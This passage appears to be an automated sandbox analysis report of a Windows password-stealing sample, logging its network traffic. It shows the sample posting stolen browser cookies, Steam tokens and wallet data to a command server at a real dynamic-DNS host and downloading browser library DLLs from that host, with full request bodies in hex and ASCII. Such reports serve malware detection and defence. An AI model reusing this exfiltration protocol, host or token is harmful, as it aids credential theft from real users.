53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CAKKEGDGCGDAKEBFIJEC--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFHHost: dugong.ydns.euContent-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file"------IDHJEBGIEBFIJKEBFBFH--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJKHost: dugong.ydns.euContent-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="file"------HIIEGHJJDGHCAKEBGIJK--
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/freebl3.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/mozglue.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/msvcp140.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/nss3.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/softokn3.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/vcruntime140.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFCBFHJDHJKECAKEHIHost: dugong.ydns.euContent-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJHost: dugong.ydns.euContent-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="message"wallets------JEHDHIEGIIIDHIDHDHJJ--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBAAFBFBAKFIDBAFHHost: dugong.ydns.euContent-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 41 41 46 42 46 42 41 4b 46 49 44 42 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 41 41 46 42 46 42 41 4b 46 49 44 42 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 41 41 46 42 46 42 41 4b 46 49 44 42 41 46 48 2d 2d 0d 0a Data Ascii: ------IIIEBAAFBFBAKFIDBAFHContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------IIIEBAAFBFBAKFIDBAFHContent-Disposition: form-data; name="message"files------IIIEBAAFBFBAKFIDBAFH--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: dugong.ydns.euContent-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 2d 2d 0d 0a Data Ascii: ------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="file"------IJDHCBGHJEGHJJKFHIIE--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJKHost: dugong.ydns.euContent-Length: 130231Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAKHost: dugong.ydns.euContent-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="message"ybncbhylepme------AAKKECFBGIIIEBGDGDAK--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: dugong.ydns.euContent-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIEHIDHJDBFIIECAKECB--

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: COGENT-174US COGENT-174US

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49705 -> 38.180.229.217:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 51.145.123.29
Source: unknown	UDP traffic detected without corresponding DNS query: 51.145.123.29
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Code function: 0_2_6CDECC60 PR_Recv,

0_2_6CDECC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: dugong.ydns.euConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/sqlite3.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/freebl3.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/mozglue.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/msvcp140.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/nss3.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/softokn3.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/vcruntime140.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: dugong.ydns.eu
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGCHost: dugong.ydns.euContent-Length: 213Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 34 34 36 37 45 35 44 30 38 36 33 35 37 36 38 35 30 37 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 72 61 66 66 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 2d 2d 0d 0a Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="hwid"284467E5D0863576850798------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="build"traff1------DBGIJEHIIDGCFHIEGDGC--

Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.000000000102E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.0000000000804000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dugong.ydns.eu/
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1680754967.0000000000804000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.php
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.php:
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1682005007.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dugong.ydns.eu//gtthfbsb2h.phpAppData
